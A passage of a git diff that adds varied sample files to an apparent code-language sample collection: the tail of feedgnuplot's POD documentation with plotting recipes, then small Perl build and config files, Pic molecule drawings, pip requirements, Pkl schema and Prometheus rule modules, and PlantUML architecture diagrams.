+data is monotonically increasing. If a given x-variable is in the past, all data
+currently cached for this curve is purged. Without C<--monotonic>, all data is
+kept. Does not make sense with 3d plots. No C<--monotonic> by default. The data is
+replotted before being purged
+
+=item
+
+C<--rangesize curveID xxx>
+
+The options C<--rangesizeall>, C<--rangesize> and C<--extraValuesPerPoint> set
+the number of values are needed to represent each point being plotted (see
+L</"Multi-value style support"> above). These options are I<only> needed if
+unknown styles are used, with C<--styleall> or C<--with> for instance.
+
+C<--rangesize> is used to set how many values are needed to represent the range
+of a point for a particular curve. This overrides any defaults that may exist
+for this curve only.
+
+With C<--dataid>, curveID is the ID. Otherwise, it's the index of the curve,
+starting at 0. curveID can be a comma-separated list of IDs to which the given
+rangesize should apply.
+
+=item
+
+C<--rangesizeall xxx>
+
+Like C<--rangesize>, but applies to I<all> the curves.
+
+C<--extraValuesPerPoint xxx>
+
+Like C<--rangesizeall>, but instead of overriding the default, adds to it. For
+example, if plotting non-lopsided y errorbars gnuplot wants (x,y,ydelta) tuples.
+These can be specified both with C<--rangesizeall 2> (because there are 2 range
+values) or C<--extraValuesPerPoint 1> (because there's 1 more value than usual).
+
+This option is I<only> needed if unknown styles are used, with C<--styleall> or
+C<--with> for instance.
+
+=item
+
+C<--dump>
+
+Instead of printing to gnuplot, print to STDOUT. Very useful for debugging. It
+is possible to send the output produced this way to gnuplot directly.
+
+=item
+
+C<--exit>
+
+This controls what happens when the input data is exhausted, or when some part
+of the C<feedgnuplot> pipeline is killed. This option does different things
+depending on whether C<--stream> is active, so read this closely.
+
+With interactive gnuplot terminals (qt, x11, wxt), the plot windows live in a
+separate process from the main C<gnuplot> process. It is thus possible for the
+main C<gnuplot> process to exit, while leaving the plot windows up (a caveat is
+that such decapitated windows aren't interactive). There are 3 possible states
+of the polotting pipeline:
+
+=over
+
+=item Alive: C<feedgnuplot>, C<gnuplot> alive, plot window process alive, no
+shell prompt (shell busy with C<feedgnuplot>)
+
+=item Half-alive: C<feedgnuplot>, C<gnuplot> dead, plot window process alive
+(but non-interactive), shell prompt available
+
+=item Dead: C<feedgnuplot>, C<gnuplot> dead, plot window process dead, shell
+prompt available
+
+=back
+
+The possibilities are:
+
+=over
+
+=item No C<--stream>, all data read in
+
+=over
+
+=item no C<--exit> (default)
+
+Alive. Need to Ctrl-C to get back into the shell
+
+=item C<--exit>
+
+Half-alive. Non-interactive prompt up, and the shell accepts new commands.
+Without C<--stream> the goal is to show a plot, so a Dead state would not be
+useful.
+
+=back
+
+=item C<--stream>, all data read in or the C<feedgnuplot> process terminated
+
+=over
+
+=item no C<--exit> (default)
+
+Alive. Need to Ctrl-C to get back into the shell. This means that when making
+live plots, the first Ctrl-C kills the data feeding process, but leaves the
+final plot up for inspection. A second Ctrl-C kills feedgnuplot as well.
+
+=item C<--exit>
+
+Dead. No plot is shown, and the shell accepts new commands. With C<--stream> the
+goal is to show a plot as the data comes in, which we have been doing. Now that
+we're done, we can clean up everything.
+
+=back
+
+=back
+
+Note that one usually invokes C<feedgnuplot> as a part of a shell pipeline:
+
+ $ write_data | feedgnuplot
+
+If the user terminates this pipeline with ^C, then I<all> the processes in the
+pipeline receive SIGINT. This normally kills C<feedgnuplot> and all its
+C<gnuplot> children, and we let this happen unless C<--stream> and no C<--exit>.
+If C<--stream> and no C<--exit>, then we ignore the first ^C. The data feeder
+dies, and we behave as if the input data was exhausted. A second ^C kills us
+also.
+
+=item
+
+C<--geometry>
+
+If using X11, specifies the size, position of the plot window
+
+=item
+
+C<--version>
+
+Print the version and exit
+
+=back
+
+=head1 RECIPES
+
+=head2 Basic plotting of piped data
+
+ $ seq 5 | awk '{print 2*$1, $1*$1}'
+ 2 1
+ 4 4
+ 6 9
+ 8 16
+ 10 25
+
+ $ seq 5 | awk '{print 2*$1, $1*$1}' |
+   feedgnuplot --lines --points --legend 0 "data 0" --title "Test plot" --y2 1
+
+=head2 Realtime plot of network throughput
+
+Looks at wlan0 on Linux.
+
+ $ while true; do sleep 1; cat /proc/net/dev; done |
+   gawk '/wlan0/ {if(b) {print $2-b; fflush()} b=$2}' |
+   feedgnuplot --lines --stream --xlen 10 --ylabel 'Bytes/sec' --xlabel seconds
+
+=head2 Realtime plot of battery charge in respect to time
+
+Uses the result of the C<acpi> command.
+
+ $ while true; do acpi; sleep 15; done |
+   perl -nE 'BEGIN{ $| = 1; } /([0-9]*)%/; say join(" ", time(), $1);' |
+   feedgnuplot --stream --ymin 0 --ymax 100 --lines --domain --xlabel 'Time' --timefmt '%s' --ylabel "Battery charge (%)"
+
+=head2 Realtime plot of temperatures in an IBM Thinkpad
+
+Uses C</proc/acpi/ibm/thermal>, which reports temperatures at various locations
+in a Thinkpad.
+
+ $ while true; do cat /proc/acpi/ibm/thermal | awk '{$1=""; print}' ; sleep 1; done |
+   feedgnuplot --stream --xlen 100 --lines --autolegend --ymax 100 --ymin 20 --ylabel 'Temperature (deg C)'
+
+=head2 Plotting a histogram of file sizes in a directory, granular to 10MB
+
+ $ ls -l | awk '{print $5/1e6}' |
+   feedgnuplot --histogram 0
+     --binwidth 10
+     --ymin 0 --xlabel 'File size (MB)' --ylabel Frequency
+
+=head2 Plotting a live histogram of the ping round-trip times for the past 20 seconds
+
+ $ ping -A -D 8.8.8.8 |
+   perl -anE 'BEGIN { $| = 1; }
+              $F[0] =~ s/[\[\]]//g or next;
+              $F[7] =~ s/.*=//g    or next;
+              say "$F[0] $F[7]"' |
+   feedgnuplot --stream --domain --histogram 0 --binwidth 10 \
+               --xlabel 'Ping round-trip time (s)'  \
+               --ylabel Frequency --xlen 20
+
+=head2 Plotting points on top of an existing image
+
+This can be done with C<--image>:
+
+ $ < features_xy.data
+   feedgnuplot --points --domain --image "image.png"
+
+or with C<--equation>:
+
+ $ < features_xy.data
+   feedgnuplot --points --domain
+     --equation '"image.png" binary filetype=auto flipy with rgbimage'
+     --set 'yrange [:] reverse'
+
+The C<--image> invocation is a convenience wrapper for the C<--equation>
+version. Finer control is available with C<--equation>.
+
+
+Here an existing image is given to gnuplot verbatim, and data to plot on top of
+it is interpreted by feedgnuplot as usual. C<flipy> is useful here because
+usually the y axis points up, but when looking at images, this is usually
+reversed: the origin is the top-left pixel.
+
+=head1 ACKNOWLEDGEMENT
+
+This program is originally based on the driveGnuPlots.pl script from
+Thanassis Tsiodras. It is available from his site at
+L<http://users.softlab.ece.ntua.gr/~ttsiod/gnuplotStreaming.html>
+
+=head1 REPOSITORY
+
+L<https://github.com/dkogan/feedgnuplot>
+
+=head1 AUTHOR
+
+Dima Kogan, C<< <dima@secretsauce.net> >>
+
+=head1 LICENSE AND COPYRIGHT
+
+Copyright 2011-2012 Dima Kogan.
+
+This program is free software; you can redistribute it and/or modify it
+under the terms of either: the GNU General Public License as published
+by the Free Software Foundation; or the Artistic License.
+
+See http://dev.perl.org/licenses/ for more information.
+
+=cut
diff --git a/samples/Perl/filenames/.latexmkrc b/samples/Perl/filenames/.latexmkrc
new file mode 100644
index 0000000000..fd2d4970c4
--- /dev/null
+++ b/samples/Perl/filenames/.latexmkrc
@@ -0,0 +1,3 @@
+$dvi_previewer = 'start xdvi -watchfile 1.5';
+$ps_previewer  = 'start gv --watch';
+$pdf_previewer = 'start evince';
diff --git a/samples/Perl/filenames/Makefile.PL b/samples/Perl/filenames/Makefile.PL
new file mode 100644
index 0000000000..0492ba5ffd
--- /dev/null
+++ b/samples/Perl/filenames/Makefile.PL
@@ -0,0 +1,20 @@
+use strict;
+use warnings;
+use ExtUtils::MakeMaker;
+
+WriteMakefile(
+    NAME                => 'Algorithm::Evolutionary::Simple',
+    AUTHOR              => 'JJ Merelo <jj@merelo.net>',
+    VERSION_FROM        => 'lib/Algorithm/Evolutionary/Simple.pm',
+    ABSTRACT_FROM       => 'lib/Algorithm/Evolutionary/Simple.pm',
+    LICENSE => 'gpl',
+    EXE_FILES => [ 'script/simple-EA.pl',  'script/maxones.pl'],
+    PREREQ_PM => {
+        'Test::More' => 0,
+	'Carp' => 0,
+	'Exporter' => 0,
+	'Sort::Key::Top' => 0
+    },
+    dist                => { COMPRESS => 'gzip -9f', SUFFIX => 'gz', },
+    clean               => { FILES => 'Algorithm-Evolutionary-Simple-*' },
+);
diff --git a/samples/Perl/filenames/Rexfile b/samples/Perl/filenames/Rexfile
new file mode 100644
index 0000000000..a88b48a7e9
--- /dev/null
+++ b/samples/Perl/filenames/Rexfile
@@ -0,0 +1,9 @@
+use Rex -feature => ['1.0'];
+
+user "eleccionesugr";
+group eleccionesugr => "elecciones-ugr.cloudapp.net";
+
+desc "Install perlbrew";
+task "perlbrew", group => "eleccionesugr", sub {
+};
+
diff --git a/samples/Perl/filenames/cpanfile b/samples/Perl/filenames/cpanfile
new file mode 100644
index 0000000000..dea1043ff9
--- /dev/null
+++ b/samples/Perl/filenames/cpanfile
@@ -0,0 +1,11 @@
+requires 'perl', '5.008001';
+
+requires 'JSON';
+requires 'Path::Class', 0.26;
+requires 'WebService::Dropbox', 2.06;
+requires 'DateTime::Format::Strptime';
+requires 'Encode::Locale';
+
+if ($^O eq 'darwin') {
+	requires 'Encode::UTF8Mac';
+}
diff --git a/samples/Perl/filenames/latexmkrc b/samples/Perl/filenames/latexmkrc
new file mode 100644
index 0000000000..cfdbbec05f
--- /dev/null
+++ b/samples/Perl/filenames/latexmkrc
@@ -0,0 +1,3 @@
+$pdf_previewer = 'open -a Skim';
+$pdflatex = 'pdflatex -synctex=1 -interaction=nonstopmode';
+@generated_exts = (@generated_exts, 'synctex.gz');
diff --git a/samples/Pic/dextroamphetamine.chem b/samples/Pic/dextroamphetamine.chem
new file mode 100644
index 0000000000..8cbe3678fa
--- /dev/null
+++ b/samples/Pic/dextroamphetamine.chem
@@ -0,0 +1,13 @@
+# Dextroamphetamine molecule
+.cstart
+	.ps 26
+	size 28
+R1:
+	ring double 1,2 3,4 5,6
+	bond 60 from R1.V2
+	bond 120
+A1:
+	front bond down ; CH3
+	bond 60 from A1 ; NH2
+	.ps
+.cend
diff --git a/samples/Pic/graph.pic b/samples/Pic/graph.pic
new file mode 100644
index 0000000000..8534e44ee6
--- /dev/null
+++ b/samples/Pic/graph.pic
@@ -0,0 +1,25 @@
+.PS
+	ellipse "Pic" "example"
+	arrow
+	box "This is" "a box" 
+	arrow right
+	box "Another" "box" dashed
+	move down then right;
+Thing: ellipse "This is a" "circle-thing"
+	arrow <-> from last box.r to Thing.l
+	move down then left;
+B: box "Still a box"
+	arrow from Thing.l to B.r
+	sprintf("Width = %g, Height = %g ", B.wid, B.ht) rjust at B.w
+	move down
+.ps 15
+	define sadness {
+		boxwid = 3;
+		boxht = 1;
+		textht = .5;
+		box "\"I run from my depression by" " " "burying myself in code\""
+		arrow down from last box.s
+		"Me"
+	}
+	sadness();
+.PE
diff --git a/samples/Pic/ritalin.chem b/samples/Pic/ritalin.chem
new file mode 100644
index 0000000000..a6eb6313dd
--- /dev/null
+++ b/samples/Pic/ritalin.chem
@@ -0,0 +1,15 @@
+.\" RITALIN: Methylphenidate Hydrochloride
+.cstart
+.ps 15
+size 15
+	R1: ring double 1,2 3,4 5,6 pointing up
+	bond 60 length .35 from R1.V2 ; BP
+	bond 120 length .35 from BP
+	R2: ring pointing up put N at 1
+	H above R2
+	bond up  length .35 from BP ; BP
+	bond -60 length .35 from BP ; O
+	bond up
+	double bond 60 length .35 from BP ; O
+.ps 10
+.cend
diff --git a/samples/Pip Requirements/filenames/requirements-dev.txt b/samples/Pip Requirements/filenames/requirements-dev.txt
new file mode 100644
index 0000000000..13173f3ae5
--- /dev/null
+++ b/samples/Pip Requirements/filenames/requirements-dev.txt	
@@ -0,0 +1,7 @@
+-e .[socks]
+pytest>=2.8.0,<=6.2.5
+pytest-cov
+pytest-httpbin==2.0.0
+httpbin~=0.10.0
+trustme
+wheel
diff --git a/samples/Pip Requirements/filenames/requirements.txt b/samples/Pip Requirements/filenames/requirements.txt
new file mode 100644
index 0000000000..23b4acb784
--- /dev/null
+++ b/samples/Pip Requirements/filenames/requirements.txt	
@@ -0,0 +1,19 @@
+albumentations==0.4.3
+opencv-python
+pudb==2019.2
+imageio==2.9.0
+imageio-ffmpeg==0.4.2
+pytorch-lightning==1.4.2
+torchmetrics==0.6
+omegaconf==2.1.1
+test-tube>=0.7.5
+streamlit>=0.73.1
+einops==0.3.0
+transformers==4.19.2
+webdataset==0.2.5
+open-clip-torch==2.7.0
+gradio==3.13.2
+kornia==0.6
+invisible-watermark>=0.1.5
+streamlit-drawable-canvas==0.8.0
+-e .
diff --git a/samples/Pkl/Parser.pkl b/samples/Pkl/Parser.pkl
new file mode 100644
index 0000000000..eae7d3ad52
--- /dev/null
+++ b/samples/Pkl/Parser.pkl
@@ -0,0 +1,130 @@
+//===----------------------------------------------------------------------===//
+// Copyright © 2024 Apple Inc. and the Pkl project authors. All rights reserved.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     https://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//===----------------------------------------------------------------------===//
+/// Utility methods for parsing values into [JsonSchema].
+@ModuleInfo { minPklVersion = "0.25.0" }
+module org.json_schema.Parser
+
+import "pkl:json"
+import "pkl:reflect"
+
+import "JsonSchema.pkl"
+
+local jsonParser = new json.Parser { useMapping = true }
+
+local knownSchemaKeys: Set<String> = reflect.Module(JsonSchema).moduleClass.properties.keys
+
+local function toJsonSchema(
+  raw: Mapping|Boolean,
+  baseSchema: JsonSchema?,
+  path: List<String|Int>
+): JsonSchema.Schema =
+  if (raw is Boolean)
+    raw
+  else
+    new {
+      $$baseSchema = baseSchema ?? this
+      $id = raw.getOrNull("$id")
+      $ref = raw.getOrNull("$ref")
+      $schema = raw.getOrNull("$schema")
+      $comment = raw.getOrNull("$comment")
+      $defs = (raw.getOrNull("$defs") as Mapping?)
+        ?.toMap()
+        ?.map((key, value) -> Pair(key, toJsonSchema(value, $$baseSchema, path.add("definitions").add(key))))
+        ?.toMapping()
+      definitions = (raw.getOrNull("definitions") as Mapping?)
+        ?.toMap()
+        ?.map((key, value) -> Pair(key, toJsonSchema(value, $$baseSchema, path.add("$defs").add(key))))
+        ?.toMapping()
+      type = raw.getOrNull("type")
+      format = raw.getOrNull("format")
+      pattern = raw.getOrNull("pattern")
+      maxLength = raw.getOrNull("maxLength")
+      minLength = raw.getOrNull("minLength")
+      title = raw.getOrNull("title")
+      description = raw.getOrNull("description")
+      multipleOf = raw.getOrNull("multipleOf")
+      minimum = raw.getOrNull("minimum")
+      maximum = raw.getOrNull("maximum")
+      exclusiveMinimum = raw.getOrNull("exclusiveMinimum")
+      exclusiveMaximum = raw.getOrNull("exclusiveMaximum")
+      examples = raw.getOrNull("examples")
+      allOf = (raw.getOrNull("allOf") as Listing?)
+        ?.toList()
+        ?.mapIndexed((idx, elem) -> toJsonSchema(elem, $$baseSchema, path.add("allOf").add(idx)))
+        ?.toListing()
+      anyOf = (raw.getOrNull("anyOf") as Listing?)
+        ?.toList()
+        ?.mapIndexed((idx, elem) -> toJsonSchema(elem, $$baseSchema, path.add("anyOf").add(idx)))
+        ?.toListing()
+      oneOf = (raw.getOrNull("oneOf") as Listing?)
+        ?.toList()
+        ?.mapIndexed((idx, elem) -> toJsonSchema(elem, $$baseSchema, path.add("oneOf").add(idx)))
+        ?.toListing()
+      not = if (raw.containsKey("not")) toJsonSchema(raw["not"], $$baseSchema, path.add("not")) else null
+      properties = (raw.getOrNull("properties") as Mapping?)
+        ?.toMap()
+        ?.map((key, value) -> Pair(key, toJsonSchema(value, $$baseSchema, path.add("properties").add(key))))
+        ?.toMapping()
+      items =
+        let (rawItems = raw.getOrNull("items"))
+          if (rawItems == null) null
+          else if (rawItems is Listing)
+            rawItems
+              .toList()
+              .mapIndexed((idx, elem) -> toJsonSchema(elem, $$baseSchema, path.add("items").add(idx)))
+              .toListing()
+          else toJsonSchema(rawItems, $$baseSchema, path.add("items"))
+      additionalItems =
+        let (rawAdditionalItems = raw.getOrNull("additionalItems"))
+          if (rawAdditionalItems == null) null
+          else toJsonSchema(rawAdditionalItems, $$baseSchema, path.add("additionalItems"))
+      contains =
+        let (rawContains = raw.getOrNull("contains"))
+          if (rawContains == null) null
+          else toJsonSchema(rawContains, $$baseSchema, path.add("contains"))
+      minItems = raw.getOrNull("minItems")
+      maxItems = raw.getOrNull("maxItems")
+      uniqueItems = raw.getOrNull("uniqueItems")
+      default = raw.getOrNull("default")
+      deprecated = raw.getOrNull("deprecated")
+      readOnly = raw.getOrNull("readOnly")
+      writeOnly = raw.getOrNull("writeOnly")
+      enum = raw.getOrNull("enum")
+      required = raw.getOrNull("required")
+      `const` = raw.getOrNull("const")
+      propertyNames = let (_raw = raw.getOrNull("propertyNames"))
+          if (_raw == null) null
+          else toJsonSchema(_raw, $$baseSchema, path.add("propertyNames"))
+      maxProperties = raw.getOrNull("maxProperties")
+      minProperties = raw.getOrNull("minProperties")
+      additionalProperties =
+        let (rawAdditionalProperties = raw.getOrNull("additionalProperties"))
+          if (rawAdditionalProperties == null) null
+          else toJsonSchema(rawAdditionalProperties, $$baseSchema, path.add("additionalProperties"))
+      patternProperties = (raw.getOrNull("patternProperties") as Mapping?)
+        ?.toMap()
+        ?.map((key, value) -> Pair(key, toJsonSchema(value, $$baseSchema, path.add("patternProperties").add(key))))
+        ?.toMapping()
+      _inline_ = raw.toMap()
+        .filter((key, value) -> !knownSchemaKeys.contains(key) && value is Boolean|Mapping)
+        .map((key, value) -> Pair(key, toJsonSchema(value, $$baseSchema, path.add(key))))
+        .toMapping()
+    }
+
+/// Given a JSON string or [Resource], parse it into a [JsonSchema.Schema] instance.
+function parse(src: Resource|String): JsonSchema.Schema =
+  let (jsonParsed: Mapping|Boolean = jsonParser.parse(src) as Mapping|Boolean)
+    toJsonSchema(jsonParsed, null, List())
diff --git a/samples/Pkl/SchemaGenerator.pkl b/samples/Pkl/SchemaGenerator.pkl
new file mode 100644
index 0000000000..7d3b355545
--- /dev/null
+++ b/samples/Pkl/SchemaGenerator.pkl
@@ -0,0 +1,72 @@
+//===----------------------------------------------------------------------===//
+// Copyright © 2024 Apple Inc. and the Pkl project authors. All rights reserved.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     https://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//===----------------------------------------------------------------------===//
+module org.openapis.v3.tests.SchemaGenerator
+
+amends "pkl:test"
+
+import "fixtures/SelfReference.pkl"
+import "../examples/SwallowSchema.pkl"
+import "../SchemaGenerator.pkl"
+import "../Schema.pkl"
+
+local schema = SchemaGenerator.generate(SwallowSchema.Swallow)
+
+facts {
+  ["recursive references throw an error"] {
+    module.catch(() -> SchemaGenerator.generate(SelfReference).output.text)
+      .startsWith("Invalid Schema: Unable to convert a schema that refers to itself.")
+  }
+  ["nullable values show up as nullable"] {
+    (schema.properties!!["airSpeed"] as Schema).nullable == true
+  }
+  ["deprecated fields show up as deprecated"] {
+    (schema.properties!!["isDuck"] as Schema).deprecated == true
+  }
+  ["generates basic metadata"] {
+    schema.title == "Swallow"
+    schema.description == "This is a Swallow"
+  }
+  ["listings are encoded as arrays"] {
+    local nicknameSchema = schema.properties!!["nicknames"] as Schema
+    nicknameSchema.type == "array"
+    nicknameSchema.items.type == "string"
+  }
+  ["mappings are encoded as objects"] {
+    local tagsSchema = schema.properties!!["tags"] as Schema
+    tagsSchema.type == "object"
+    tagsSchema.additionalProperties.type == "string"
+  }
+  ["classes are encoded as objects"] {
+    local friendSchema = schema.properties!!["bestFriend"] as Schema
+    friendSchema.type == "object"
+    friendSchema.properties.toMap().keys == Set("name", "isSwallow", "tags")
+  }
+}
+
+examples {
+  ["converts a module"] {
+    let (schema = new SchemaGenerator {
+      converters {
+        [DataSize] {
+          title = "DataSize"
+          type = "string"
+          description = "The size of data in [quantity][unit] representation."
+        }
+      }
+    }.generate(SwallowSchema.Swallow))
+      new JsonRenderer {}.renderDocument(schema)
+  }
+}
diff --git a/samples/Pkl/rule.pkl b/samples/Pkl/rule.pkl
new file mode 100644
index 0000000000..8ebab92dc9
--- /dev/null
+++ b/samples/Pkl/rule.pkl
@@ -0,0 +1,50 @@
+//===----------------------------------------------------------------------===//
+// Copyright © 2024 Apple Inc. and the Pkl project authors. All rights reserved.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     https://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//===----------------------------------------------------------------------===//
+module io.prometheus.examples.rule
+
+amends "../Rule.pkl"
+
+groups {
+  new AlertingRuleGroup {
+    name = "alerting_rules"
+    interval = 5.min
+    rules {
+      new {
+        alert = "HighRequestLatency"
+        expr = #"job:request_latency_seconds:mean5m{job="myjob"} > 0.5"#
+        `for` = 10.min
+        labels {
+          ["prod"] = true
+          ["priority"] = 1
+          ["severity"] = "page"
+        }
+        annotations {
+          ["summary"] = "High request latency"
+        }
+      }
+    }
+  }
+  new RecordingRuleGroup {
+    name = "recording_rules"
+    interval = 10.h
+    rules {
+      new {
+        `record` = "job:http_inprogress_requests:sum"
+        expr = "sum by (job) (http_inprogress_requests)"
+      }
+    }
+  }
+}
diff --git a/samples/PlantUML/ProtectedMeta.iuml b/samples/PlantUML/ProtectedMeta.iuml
new file mode 100644
index 0000000000..9836cea6c8
--- /dev/null
+++ b/samples/PlantUML/ProtectedMeta.iuml
@@ -0,0 +1,14 @@
+!define PROTECTED_META
+' from https://github.com/FooBarShebang/libencapsulation/blob/master/docs/UML/implementation/ProtectedMeta.iuml'
+
+!ifndef CLASSES
+!include ../Templates/Classes.cuml
+!endif
+
+class ProtectedMeta <<metaclass>> {
+    __getattribute__(): class A, str -> type A
+    __setattr__(): class A, str, type A -> None
+    __delattr__(): class A, str -> None
+    __new__(): type class A, str, list(class B), dict(str -> type A) -> class A
+    __del__(): class A -> None
+}
diff --git a/samples/PlantUML/PublicallyAccessibleReDirect.puml b/samples/PlantUML/PublicallyAccessibleReDirect.puml
new file mode 100644
index 0000000000..79deb7c20c
--- /dev/null
+++ b/samples/PlantUML/PublicallyAccessibleReDirect.puml
@@ -0,0 +1,47 @@
+@startuml PublicallyAccessibleReDirect
+' from https://github.com/newportg/newportg.github.io/blob/master/assets/PublicallyAccessibleReDirect.puml'
+
+!includeurl https://raw.githubusercontent.com/RicardoNiepel/C4-PlantUML/master/C4_Component.puml
+!define AzurePuml https://raw.githubusercontent.com/RicardoNiepel/Azure-PlantUML/release/2-1/dist
+!includeurl AzurePuml/AzureCommon.puml
+!includeurl AzurePuml/Identity/AzureActiveDirectory.puml
+!includeurl AzurePuml/Networking/AzureApplicationGateway.puml
+!includeurl AzurePuml/Networking/AzureVirtualNetwork.puml
+!includeurl AzurePuml/Compute/AzureFunction.puml
+!includeurl AzurePuml/Compute/AzureAppService.puml
+!includeurl AzurePuml/Web/AzureCDN.puml
+!includeurl AzurePuml/Storage/AzureBlobStorage.puml
+
+title Publically Accessible Re-Direct
+
+System_Boundary(off, "Office 365") {
+    Component(out, "", "Outlook", "Contact")
+}
+System_Boundary(ios, "Ios Contact") {
+    Component(ac, "", "Apple", "Contact")
+}
+
+System_Boundary(Az, "Azure") {
+    Container(asa, "apple-app-site-association", "","")
+
+    AzureCDN(cdn, "CDN","","")
+    AzureApplicationGateway(fd, "ApplicationGateway","","")
+    AzureFunction(afHb, "HeartBeat","","")
+    AzureAppService(afRw, "ReWrite","","")
+    AzureBlobStorage(bs, "Blob Storage","","Static Content")
+}
+
+Container(hub, "", "Hub", "")
+
+ac -down-> fd
+out -down-> fd
+
+fd -down-> afRw
+fd -down-> afHb
+fd -down-> cdn
+bs -up-> cdn
+
+afRw --> hub
+asa -up-> bs
+
+@enduml
diff --git a/samples/PlantUML/associations.iuml b/samples/PlantUML/associations.iuml
new file mode 100644
index 0000000000..6807c98e24
--- /dev/null
+++ b/samples/PlantUML/associations.iuml
@@ -0,0 +1,21 @@
+' from https://raw.githubusercontent.com/freezed/ocp13/master/doc/data_model/associations.iuml
+/' = = = = = = = ASSOCIATION = = = = = = = '/
+package "tag" {
+    class tag
+}
+
+package "lead" {
+    class contact
+    class contact_tag <<assoc>>
+    rea(tag,contact,.,contact_tag)
+}
+
+package "django.contrib.auth" {
+    class user
+}
+
+package "log" {
+    class entry
+    class entry_tag <<assoc>>
+    rea(tag,entry,.,entry_tag)
+}
diff --git a/samples/PlantUML/casUtilisation.puml b/samples/PlantUML/casUtilisation.puml
new file mode 100644
index 0000000000..be0451b0d3
--- /dev/null
+++ b/samples/PlantUML/casUtilisation.puml
@@ -0,0 +1,38 @@
+@startuml
+' from https://github.com/teamflat/enflatme/blob/master/livrables/casUtilisation/casUtilisation.txt'
+
+title Modèle d'usage\n <b>enflatme</b>
+left to right direction
+skinparam packageStyle rect
+skinparam shadowing false
+
+actor Visiteur as visiteur
+actor Colocataire as coloc
+actor :Responsable de la colocation: as respColoc
+coloc <|-- respColoc
+
+rectangle application {
+	(S'inscrire) as inscription
+	(Afficher la colocation) as afficher
+	(Modifier la colocation) as modifier
+	(Administrer la colocation) as administrer
+	(Modifier des tâches) as modifierTaches
+
+	(Créer une colocation) .> administrer : extends
+	(Supprimer une colocation) ..> administrer : extends
+	(Ajouter des tâches) ..> administrer : extends
+	(Supprimer des tâches) ..> administrer : extends
+
+	(Marquer une tâche commme complétée) .> modifier : extends
+	modifierTaches ..> modifier : extends
+	note right of modifierTaches
+		Exemple : indiquer qu'une tâche
+		ménagère a été effectuée.
+	end note
+
+	visiteur --> inscription
+	coloc --> afficher
+	coloc --> modifier
+	respColoc -> administrer
+}
+@enduml
diff --git a/samples/PlantUML/common.iuml b/samples/PlantUML/common.iuml
new file mode 100644
index 0000000000..6245cce083
--- /dev/null
+++ b/samples/PlantUML/common.iuml
@@ -0,0 +1,139 @@
+' section with id user to define user actor
+' from https://github.com/petersgiles/silver-octo-architecture/blob/master/content/docs/includes/common.iuml'
+
+/'
+' CUT AND PASTE INTO YOUR PUML
+!include includes/common.iuml!pla_sql
+!include includes/common.iuml!pla_sp
+!include includes/common.iuml!pla_couch
+
+!include includes/common.iuml!svc_ad
+!include includes/common.iuml!svc_mi
+
+!include includes/common.iuml!sys_dsuite
+
+!include includes/common.iuml!act_user
+'/
+
+''' ACTORS
+
+@startuml(id=act_user)
+    actor "Application User" <<person>> as ACT_USER
+@enduml
+
+@startuml(id=act_guest)
+    actor "Guest" <<function>> as ACT_GUEST
+@enduml
+
+@startuml(id=act_reader)
+    actor "Reader" <<function>> as ACT_READER
+@enduml
+
+@startuml(id=act_editor)
+    actor "Editor" <<function>> as ACT_EDITOR
+@enduml
+
+@startuml(id=act_owner)
+    actor "Owner" <<function>> as ACT_OWNER
+@enduml
+
+@startuml(id=act_admin)
+    actor "Administrator" <<function>> as ACT_ADMIN
+@enduml
+
+@startuml(id=act_aps)
+    actor "APS" <<person>> as ACT_APS
+@enduml
+
+@startuml(id=act_dlo)
+    actor "DLO" <<person>> as ACT_DLO
+@enduml
+
+@startuml(id=act_pmo)
+    actor "PMO" <<person>> as ACT_PMO
+@enduml
+
+@startuml(id=act_vip)
+    actor "VIP" <<person>> as ACT_VIP
+@enduml
+
+''' PLATFORMS
+
+@startuml(id=sys_dsuite)
+    node "DSuite" <<system>> as SYS_DSUITE
+@enduml
+
+@startuml(id=pla_couch)
+    node "Couch DB" <<platform>> as PLA_COUCH
+@enduml
+
+@startuml(id=pla_web)
+    node "Web Servers" <<platform>> as PLA_WEB
+@enduml
+
+@startuml(id=pla_sp)
+    node "SharePoint" <<platform>> as PLA_SP
+@enduml
+
+@startuml(id=pla_sql)
+    node "MS SQL Server" <<platform>> as PLA_SQL
+@enduml
+
+''' SERVICES
+
+@startuml(id=svc_mi)
+    component "Mobile Iron" <<service>> as SVC_MI
+@enduml
+
+@startuml(id=svc_ad)
+    component "Active Directory" <<service>> as SVC_AD
+@enduml
+
+@startuml(id=svc_vanguard)
+    component "Vanguard" <<service>> as SVC_VANGUARD
+@enduml
+
+@startuml(id=svc_couch_proxy)
+
+    node "Proxy Service" as SVC_COUCH_PROXY <<service>> {
+        component "Authentication Manager" as CPNT_USER_AUTH
+        component "Couch Proxy" as CPNT_COUCH_PROXY
+
+        CPNT_COUCH_PROXY .right. CPNT_USER_AUTH
+    }
+
+@enduml
+
+@startuml(id=svc_event_bridge)
+    component "Event Bridge" <<service>> as SVC_EVENT_BRIDGE
+@enduml
+
+@startuml(id=svc_event_publisher)
+    component "Event Publisher" <<service>> as SVC_EVENT_PUBLISHER
+@enduml
+
+@startuml(id=svc_brief_converter)
+    component "Brief Converter" <<service>> as SVC_BRIEF_CONVERTER
+@enduml
+
+@startuml(id=svc_esb)
+    queue "Enterprise Service Bus" <<esb>> as SVC_ESB
+@enduml
+
+
+
+''' APPLICATIONS
+
+@startuml(id=app_ms_office)
+    component "Office" <<app>> as APP_MS_OFFICE
+@enduml
+
+@startuml(id=app_browser)
+    component "Web Browser" <<app>> as APP_BROWSER
+@enduml
+
